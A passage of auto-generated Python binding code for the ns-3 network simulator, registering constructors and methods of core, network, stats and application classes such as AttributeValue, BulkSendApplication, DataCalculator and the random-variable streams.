## attribute.h (module 'core'): std::string ns3::AttributeChecker::GetValueTypeName() const [member function]
cls.add_method('GetValueTypeName',
'std::string',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeChecker::HasUnderlyingTypeInformation() const [member function]
cls.add_method('HasUnderlyingTypeInformation',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3AttributeValue_methods(root_module, cls):
## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue(ns3::AttributeValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeValue const &', 'arg0')])
## attribute.h (module 'core'): ns3::AttributeValue::AttributeValue() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::AttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_pure_virtual=True, is_virtual=True)
## attribute.h (module 'core'): std::string ns3::AttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3BooleanChecker_methods(root_module, cls):
## boolean.h (module 'core'): ns3::BooleanChecker::BooleanChecker() [constructor]
cls.add_constructor([])
## boolean.h (module 'core'): ns3::BooleanChecker::BooleanChecker(ns3::BooleanChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::BooleanChecker const &', 'arg0')])
return
def register_Ns3BooleanValue_methods(root_module, cls):
cls.add_output_stream_operator()
## boolean.h (module 'core'): ns3::BooleanValue::BooleanValue(ns3::BooleanValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::BooleanValue const &', 'arg0')])
## boolean.h (module 'core'): ns3::BooleanValue::BooleanValue() [constructor]
cls.add_constructor([])
## boolean.h (module 'core'): ns3::BooleanValue::BooleanValue(bool value) [constructor]
cls.add_constructor([param('bool', 'value')])
## boolean.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::BooleanValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## boolean.h (module 'core'): bool ns3::BooleanValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## boolean.h (module 'core'): bool ns3::BooleanValue::Get() const [member function]
cls.add_method('Get',
'bool',
[],
is_const=True)
## boolean.h (module 'core'): std::string ns3::BooleanValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## boolean.h (module 'core'): void ns3::BooleanValue::Set(bool value) [member function]
cls.add_method('Set',
'void',
[param('bool', 'value')])
return
def register_Ns3BulkSendApplication_methods(root_module, cls):
## bulk-send-application.h (module 'applications'): ns3::BulkSendApplication::BulkSendApplication(ns3::BulkSendApplication const & arg0) [copy constructor]
cls.add_constructor([param('ns3::BulkSendApplication const &', 'arg0')])
## bulk-send-application.h (module 'applications'): ns3::BulkSendApplication::BulkSendApplication() [constructor]
cls.add_constructor([])
## bulk-send-application.h (module 'applications'): ns3::Ptr<ns3::Socket> ns3::BulkSendApplication::GetSocket() const [member function]
cls.add_method('GetSocket',
'ns3::Ptr< ns3::Socket >',
[],
is_const=True)
## bulk-send-application.h (module 'applications'): static ns3::TypeId ns3::BulkSendApplication::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## bulk-send-application.h (module 'applications'): void ns3::BulkSendApplication::SetMaxBytes(uint64_t maxBytes) [member function]
cls.add_method('SetMaxBytes',
'void',
[param('uint64_t', 'maxBytes')])
## bulk-send-application.h (module 'applications'): void ns3::BulkSendApplication::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## bulk-send-application.h (module 'applications'): void ns3::BulkSendApplication::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## bulk-send-application.h (module 'applications'): void ns3::BulkSendApplication::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3CallbackChecker_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::CallbackChecker::CallbackChecker(ns3::CallbackChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackChecker const &', 'arg0')])
return
def register_Ns3CallbackImplBase_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::CallbackImplBase::CallbackImplBase(ns3::CallbackImplBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackImplBase const &', 'arg0')])
## callback.h (module 'core'): std::string ns3::CallbackImplBase::GetTypeid() const [member function]
cls.add_method('GetTypeid',
'std::string',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## callback.h (module 'core'): bool ns3::CallbackImplBase::IsEqual(ns3::Ptr<ns3::CallbackImplBase const> other) const [member function]
cls.add_method('IsEqual',
'bool',
[param('ns3::Ptr< ns3::CallbackImplBase const >', 'other')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## callback.h (module 'core'): static std::string ns3::CallbackImplBase::Demangle(std::string const & mangled) [member function]
cls.add_method('Demangle',
'std::string',
[param('std::string const &', 'mangled')],
is_static=True, visibility='protected')
return
def register_Ns3CallbackValue_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackValue const &', 'arg0')])
## callback.h (module 'core'): ns3::CallbackValue::CallbackValue() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::CallbackValue::CallbackValue(ns3::CallbackBase const & base) [constructor]
cls.add_constructor([param('ns3::CallbackBase const &', 'base')])
## callback.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::CallbackValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## callback.h (module 'core'): bool ns3::CallbackValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## callback.h (module 'core'): std::string ns3::CallbackValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## callback.h (module 'core'): void ns3::CallbackValue::Set(ns3::CallbackBase base) [member function]
cls.add_method('Set',
'void',
[param('ns3::CallbackBase', 'base')])
return
def register_Ns3Channel_methods(root_module, cls):
## channel.h (module 'network'): ns3::Channel::Channel(ns3::Channel const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Channel const &', 'arg0')])
## channel.h (module 'network'): ns3::Channel::Channel() [constructor]
cls.add_constructor([])
## channel.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Channel::GetDevice(uint32_t i) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'i')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## channel.h (module 'network'): uint32_t ns3::Channel::GetId() const [member function]
cls.add_method('GetId',
'uint32_t',
[],
is_const=True)
## channel.h (module 'network'): uint32_t ns3::Channel::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## channel.h (module 'network'): static ns3::TypeId ns3::Channel::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3ConstantRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::ConstantRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::ConstantRandomVariable::ConstantRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::ConstantRandomVariable::GetConstant() const [member function]
cls.add_method('GetConstant',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ConstantRandomVariable::GetValue(double constant) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'constant')])
## random-variable-stream.h (module 'core'): uint32_t ns3::ConstantRandomVariable::GetInteger(uint32_t constant) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'constant')])
## random-variable-stream.h (module 'core'): double ns3::ConstantRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::ConstantRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3DataCalculator_methods(root_module, cls):
## data-calculator.h (module 'stats'): ns3::DataCalculator::DataCalculator(ns3::DataCalculator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataCalculator const &', 'arg0')])
## data-calculator.h (module 'stats'): ns3::DataCalculator::DataCalculator() [constructor]
cls.add_constructor([])
## data-calculator.h (module 'stats'): void ns3::DataCalculator::Disable() [member function]
cls.add_method('Disable',
'void',
[])
## data-calculator.h (module 'stats'): void ns3::DataCalculator::Enable() [member function]
cls.add_method('Enable',
'void',
[])
## data-calculator.h (module 'stats'): std::string ns3::DataCalculator::GetContext() const [member function]
cls.add_method('GetContext',
'std::string',
[],
is_const=True)
## data-calculator.h (module 'stats'): bool ns3::DataCalculator::GetEnabled() const [member function]
cls.add_method('GetEnabled',
'bool',
[],
is_const=True)
## data-calculator.h (module 'stats'): std::string ns3::DataCalculator::GetKey() const [member function]
cls.add_method('GetKey',
'std::string',
[],
is_const=True)
## data-calculator.h (module 'stats'): static ns3::TypeId ns3::DataCalculator::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## data-calculator.h (module 'stats'): void ns3::DataCalculator::Output(ns3::DataOutputCallback & callback) const [member function]
cls.add_method('Output',
'void',
[param('ns3::DataOutputCallback &', 'callback')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): void ns3::DataCalculator::SetContext(std::string const context) [member function]
cls.add_method('SetContext',
'void',
[param('std::string const', 'context')])
## data-calculator.h (module 'stats'): void ns3::DataCalculator::SetKey(std::string const key) [member function]
cls.add_method('SetKey',
'void',
[param('std::string const', 'key')])
## data-calculator.h (module 'stats'): void ns3::DataCalculator::Start(ns3::Time const & startTime) [member function]
cls.add_method('Start',
'void',
[param('ns3::Time const &', 'startTime')],
is_virtual=True)
## data-calculator.h (module 'stats'): void ns3::DataCalculator::Stop(ns3::Time const & stopTime) [member function]
cls.add_method('Stop',
'void',
[param('ns3::Time const &', 'stopTime')],
is_virtual=True)
## data-calculator.h (module 'stats'): void ns3::DataCalculator::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3DataCollectionObject_methods(root_module, cls):
## data-collection-object.h (module 'stats'): ns3::DataCollectionObject::DataCollectionObject(ns3::DataCollectionObject const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataCollectionObject const &', 'arg0')])
## data-collection-object.h (module 'stats'): ns3::DataCollectionObject::DataCollectionObject() [constructor]
cls.add_constructor([])
## data-collection-object.h (module 'stats'): void ns3::DataCollectionObject::Disable() [member function]
cls.add_method('Disable',
'void',
[])
## data-collection-object.h (module 'stats'): void ns3::DataCollectionObject::Enable() [member function]
cls.add_method('Enable',
'void',
[])
## data-collection-object.h (module 'stats'): std::string ns3::DataCollectionObject::GetName() const [member function]
cls.add_method('GetName',
'std::string',
[],
is_const=True)
## data-collection-object.h (module 'stats'): static ns3::TypeId ns3::DataCollectionObject::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## data-collection-object.h (module 'stats'): bool ns3::DataCollectionObject::IsEnabled() const [member function]
cls.add_method('IsEnabled',
'bool',
[],
is_const=True, is_virtual=True)
## data-collection-object.h (module 'stats'): void ns3::DataCollectionObject::SetName(std::string name) [member function]
cls.add_method('SetName',
'void',
[param('std::string', 'name')])
return
def register_Ns3DataOutputInterface_methods(root_module, cls):
## data-output-interface.h (module 'stats'): ns3::DataOutputInterface::DataOutputInterface(ns3::DataOutputInterface const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataOutputInterface const &', 'arg0')])
## data-output-interface.h (module 'stats'): ns3::DataOutputInterface::DataOutputInterface() [constructor]
cls.add_constructor([])
## data-output-interface.h (module 'stats'): std::string ns3::DataOutputInterface::GetFilePrefix() const [member function]
cls.add_method('GetFilePrefix',
'std::string',
[],
is_const=True)
## data-output-interface.h (module 'stats'): static ns3::TypeId ns3::DataOutputInterface::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputInterface::Output(ns3::DataCollector & dc) [member function]
cls.add_method('Output',
'void',
[param('ns3::DataCollector &', 'dc')],
is_pure_virtual=True, is_virtual=True)
## data-output-interface.h (module 'stats'): void ns3::DataOutputInterface::SetFilePrefix(std::string const prefix) [member function]
cls.add_method('SetFilePrefix',
'void',
[param('std::string const', 'prefix')])
## data-output-interface.h (module 'stats'): void ns3::DataOutputInterface::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3DataRateChecker_methods(root_module, cls):
## data-rate.h (module 'network'): ns3::DataRateChecker::DataRateChecker() [constructor]
cls.add_constructor([])
## data-rate.h (module 'network'): ns3::DataRateChecker::DataRateChecker(ns3::DataRateChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataRateChecker const &', 'arg0')])
return
def register_Ns3DataRateValue_methods(root_module, cls):
## data-rate.h (module 'network'): ns3::DataRateValue::DataRateValue() [constructor]
cls.add_constructor([])
## data-rate.h (module 'network'): ns3::DataRateValue::DataRateValue(ns3::DataRateValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DataRateValue const &', 'arg0')])
## data-rate.h (module 'network'): ns3::DataRateValue::DataRateValue(ns3::DataRate const & value) [constructor]
cls.add_constructor([param('ns3::DataRate const &', 'value')])
## data-rate.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::DataRateValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## data-rate.h (module 'network'): bool ns3::DataRateValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## data-rate.h (module 'network'): ns3::DataRate ns3::DataRateValue::Get() const [member function]
cls.add_method('Get',
'ns3::DataRate',
[],
is_const=True)
## data-rate.h (module 'network'): std::string ns3::DataRateValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## data-rate.h (module 'network'): void ns3::DataRateValue::Set(ns3::DataRate const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::DataRate const &', 'value')])
return
def register_Ns3DeterministicRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::DeterministicRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::DeterministicRandomVariable::DeterministicRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): void ns3::DeterministicRandomVariable::SetValueArray(double * values, uint64_t length) [member function]
cls.add_method('SetValueArray',
'void',
[param('double *', 'values'), param('uint64_t', 'length')])
## random-variable-stream.h (module 'core'): double ns3::DeterministicRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::DeterministicRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3DoubleValue_methods(root_module, cls):
## double.h (module 'core'): ns3::DoubleValue::DoubleValue() [constructor]
cls.add_constructor([])
## double.h (module 'core'): ns3::DoubleValue::DoubleValue(ns3::DoubleValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DoubleValue const &', 'arg0')])
## double.h (module 'core'): ns3::DoubleValue::DoubleValue(double const & value) [constructor]
cls.add_constructor([param('double const &', 'value')])
## double.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::DoubleValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## double.h (module 'core'): bool ns3::DoubleValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## double.h (module 'core'): double ns3::DoubleValue::Get() const [member function]
cls.add_method('Get',
'double',
[],
is_const=True)
## double.h (module 'core'): std::string ns3::DoubleValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## double.h (module 'core'): void ns3::DoubleValue::Set(double const & value) [member function]
cls.add_method('Set',
'void',
[param('double const &', 'value')])
return
def register_Ns3DynamicQueueLimits_methods(root_module, cls):
## dynamic-queue-limits.h (module 'network'): ns3::DynamicQueueLimits::DynamicQueueLimits(ns3::DynamicQueueLimits const & arg0) [copy constructor]
cls.add_constructor([param('ns3::DynamicQueueLimits const &', 'arg0')])
## dynamic-queue-limits.h (module 'network'): ns3::DynamicQueueLimits::DynamicQueueLimits() [constructor]
cls.add_constructor([])
## dynamic-queue-limits.h (module 'network'): int32_t ns3::DynamicQueueLimits::Available() const [member function]
cls.add_method('Available',
'int32_t',
[],
is_const=True, is_virtual=True)
## dynamic-queue-limits.h (module 'network'): void ns3::DynamicQueueLimits::Completed(uint32_t count) [member function]
cls.add_method('Completed',
'void',
[param('uint32_t', 'count')],
is_virtual=True)
## dynamic-queue-limits.h (module 'network'): static ns3::TypeId ns3::DynamicQueueLimits::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## dynamic-queue-limits.h (module 'network'): void ns3::DynamicQueueLimits::Queued(uint32_t count) [member function]
cls.add_method('Queued',
'void',
[param('uint32_t', 'count')],
is_virtual=True)
## dynamic-queue-limits.h (module 'network'): void ns3::DynamicQueueLimits::Reset() [member function]
cls.add_method('Reset',
'void',
[],
is_virtual=True)
return
def register_Ns3EmpiricalRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): ns3::EmpiricalRandomVariable::EmpiricalRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): void ns3::EmpiricalRandomVariable::CDF(double v, double c) [member function]
cls.add_method('CDF',
'void',
[param('double', 'v'), param('double', 'c')])
## random-variable-stream.h (module 'core'): uint32_t ns3::EmpiricalRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::EmpiricalRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): double ns3::EmpiricalRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): double ns3::EmpiricalRandomVariable::Interpolate(double c1, double c2, double v1, double v2, double r) [member function]
cls.add_method('Interpolate',
'double',
[param('double', 'c1'), param('double', 'c2'), param('double', 'v1'), param('double', 'v2'), param('double', 'r')],
visibility='private', is_virtual=True)
## random-variable-stream.h (module 'core'): void ns3::EmpiricalRandomVariable::Validate() [member function]
cls.add_method('Validate',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3EmptyAttributeAccessor_methods(root_module, cls):
## attribute.h (module 'core'): ns3::EmptyAttributeAccessor::EmptyAttributeAccessor(ns3::EmptyAttributeAccessor const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EmptyAttributeAccessor const &', 'arg0')])
## attribute.h (module 'core'): ns3::EmptyAttributeAccessor::EmptyAttributeAccessor() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::Get(ns3::ObjectBase const * object, ns3::AttributeValue & attribute) const [member function]
cls.add_method('Get',
'bool',
[param('ns3::ObjectBase const *', 'object'), param('ns3::AttributeValue &', 'attribute')],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::HasGetter() const [member function]
cls.add_method('HasGetter',
'bool',
[],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::HasSetter() const [member function]
cls.add_method('HasSetter',
'bool',
[],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeAccessor::Set(ns3::ObjectBase * object, ns3::AttributeValue const & value) const [member function]
cls.add_method('Set',
'bool',
[param('ns3::ObjectBase *', 'object'), param('ns3::AttributeValue const &', 'value')],
is_const=True, is_virtual=True)
return
def register_Ns3EmptyAttributeChecker_methods(root_module, cls):
## attribute.h (module 'core'): ns3::EmptyAttributeChecker::EmptyAttributeChecker(ns3::EmptyAttributeChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EmptyAttributeChecker const &', 'arg0')])
## attribute.h (module 'core'): ns3::EmptyAttributeChecker::EmptyAttributeChecker() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): bool ns3::EmptyAttributeChecker::Check(ns3::AttributeValue const & value) const [member function]
cls.add_method('Check',
'bool',
[param('ns3::AttributeValue const &', 'value')],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeChecker::Copy(ns3::AttributeValue const & source, ns3::AttributeValue & destination) const [member function]
cls.add_method('Copy',
'bool',
[param('ns3::AttributeValue const &', 'source'), param('ns3::AttributeValue &', 'destination')],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EmptyAttributeChecker::Create() const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): std::string ns3::EmptyAttributeChecker::GetUnderlyingTypeInformation() const [member function]
cls.add_method('GetUnderlyingTypeInformation',
'std::string',
[],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): std::string ns3::EmptyAttributeChecker::GetValueTypeName() const [member function]
cls.add_method('GetValueTypeName',
'std::string',
[],
is_const=True, is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeChecker::HasUnderlyingTypeInformation() const [member function]
cls.add_method('HasUnderlyingTypeInformation',
'bool',
[],
is_const=True, is_virtual=True)
return
def register_Ns3EmptyAttributeValue_methods(root_module, cls):
## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue(ns3::EmptyAttributeValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EmptyAttributeValue const &', 'arg0')])
## attribute.h (module 'core'): ns3::EmptyAttributeValue::EmptyAttributeValue() [constructor]
cls.add_constructor([])
## attribute.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EmptyAttributeValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, visibility='private', is_virtual=True)
## attribute.h (module 'core'): bool ns3::EmptyAttributeValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
visibility='private', is_virtual=True)
## attribute.h (module 'core'): std::string ns3::EmptyAttributeValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, visibility='private', is_virtual=True)
return
def register_Ns3EnumChecker_methods(root_module, cls):
## enum.h (module 'core'): ns3::EnumChecker::EnumChecker(ns3::EnumChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EnumChecker const &', 'arg0')])
## enum.h (module 'core'): ns3::EnumChecker::EnumChecker() [constructor]
cls.add_constructor([])
## enum.h (module 'core'): void ns3::EnumChecker::Add(int value, std::string name) [member function]
cls.add_method('Add',
'void',
[param('int', 'value'), param('std::string', 'name')])
## enum.h (module 'core'): void ns3::EnumChecker::AddDefault(int value, std::string name) [member function]
cls.add_method('AddDefault',
'void',
[param('int', 'value'), param('std::string', 'name')])
## enum.h (module 'core'): bool ns3::EnumChecker::Check(ns3::AttributeValue const & value) const [member function]
cls.add_method('Check',
'bool',
[param('ns3::AttributeValue const &', 'value')],
is_const=True, is_virtual=True)
## enum.h (module 'core'): bool ns3::EnumChecker::Copy(ns3::AttributeValue const & src, ns3::AttributeValue & dst) const [member function]
cls.add_method('Copy',
'bool',
[param('ns3::AttributeValue const &', 'src'), param('ns3::AttributeValue &', 'dst')],
is_const=True, is_virtual=True)
## enum.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EnumChecker::Create() const [member function]
cls.add_method('Create',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## enum.h (module 'core'): std::string ns3::EnumChecker::GetUnderlyingTypeInformation() const [member function]
cls.add_method('GetUnderlyingTypeInformation',
'std::string',
[],
is_const=True, is_virtual=True)
## enum.h (module 'core'): std::string ns3::EnumChecker::GetValueTypeName() const [member function]
cls.add_method('GetValueTypeName',
'std::string',
[],
is_const=True, is_virtual=True)
## enum.h (module 'core'): bool ns3::EnumChecker::HasUnderlyingTypeInformation() const [member function]
cls.add_method('HasUnderlyingTypeInformation',
'bool',
[],
is_const=True, is_virtual=True)
return
def register_Ns3EnumValue_methods(root_module, cls):
## enum.h (module 'core'): ns3::EnumValue::EnumValue(ns3::EnumValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::EnumValue const &', 'arg0')])
## enum.h (module 'core'): ns3::EnumValue::EnumValue() [constructor]
cls.add_constructor([])
## enum.h (module 'core'): ns3::EnumValue::EnumValue(int value) [constructor]
cls.add_constructor([param('int', 'value')])
## enum.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::EnumValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## enum.h (module 'core'): bool ns3::EnumValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## enum.h (module 'core'): int ns3::EnumValue::Get() const [member function]
cls.add_method('Get',
'int',
[],
is_const=True)
## enum.h (module 'core'): std::string ns3::EnumValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## enum.h (module 'core'): void ns3::EnumValue::Set(int value) [member function]
cls.add_method('Set',
'void',
[param('int', 'value')])
return
def register_Ns3ErlangRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::ErlangRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::ErlangRandomVariable::ErlangRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): uint32_t ns3::ErlangRandomVariable::GetK() const [member function]
cls.add_method('GetK',
'uint32_t',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ErlangRandomVariable::GetLambda() const [member function]
cls.add_method('GetLambda',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ErlangRandomVariable::GetValue(uint32_t k, double lambda) [member function]
cls.add_method('GetValue',
'double',
[param('uint32_t', 'k'), param('double', 'lambda')])
## random-variable-stream.h (module 'core'): uint32_t ns3::ErlangRandomVariable::GetInteger(uint32_t k, uint32_t lambda) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'k'), param('uint32_t', 'lambda')])
## random-variable-stream.h (module 'core'): double ns3::ErlangRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
